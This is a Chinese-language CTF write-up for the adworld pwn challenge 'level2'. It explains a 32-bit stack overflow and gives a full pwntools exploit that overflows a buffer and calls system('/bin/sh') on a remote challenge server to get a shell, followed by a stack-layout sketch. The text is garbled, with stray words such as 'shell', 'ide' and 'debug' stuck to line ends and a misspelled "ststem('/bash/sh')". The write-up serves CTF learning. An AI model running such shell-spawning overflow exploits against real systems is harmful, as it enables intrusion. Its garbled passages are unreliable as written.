題目傳送門:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5055shell
拿到題目,查看一下相關信息:32位,開啓了NXbash
放入ida查看:ide
代碼比較簡單,進入vulnerable_function()查看,程序的功能是輸入一段文字,顯示Hello World!函數
咱們能夠經過read函數,溢出到callsystem的位置,執行ststem('/bash/sh'),拿到shell權限spa
唔,這裏附帶一個連接知識:http://www.javashuo.com/article/p-chdbaiyn-nq.html.net
咱們能夠知道,payload = 'a' * (offset + 4) + sys_addr + ret_add + sh_addrdebug
根據這個公式,offset爲88,咱們只爲了取得shell,ret_add隨便寫就好了,須要找到sys_addr和sh_addr的地址code
查找知識,看到這個尋找的方法:blog
sys_addr = elf.symbols['system'] sh_addr = elf.search('/bin/sh').next()
這樣就能夠寫exp了:utf-8
# -*- coding:utf-8 -*- from pwn import * context.log_level = 'debug' #cnn = process('./level2') cnn = remote('111.198.29.45',52271) elf = ELF('./level2') system_addr = elf.symbols['system'] binsh_addr = elf.search('/bin/sh').next() payload = 'a'*0x88+'a'*0x4 + p32(system_addr) + p32(4) + p32(binsh_addr) cnn.sendlineafter('Input:',payload) cnn.interactive()
經過ls命令,而後cat flag就能得到flag
總結:推薦一波小知識:http://www.javashuo.com/article/p-chdbaiyn-nq.html
// 僞代碼 A(int arg_a1,int arg_a2) B(int arg_b1,int arg_b2,int arg_b3) C(int arg_c1,int arg_c2) ------------------------------------- // B的壓棧流程 ---> ESP buf[128] EBP return //-->fake_addr_A arg_b1 //-->4006b0 addr_pop_pop_ret arg_b2 arg_a1 //pop r14 arg_b3 arg_a2 //pop r15 ret // --->fake_addr_C 0 // --->C的返回地址,如今沒用了 arg_c1 arg_c2 -->EBP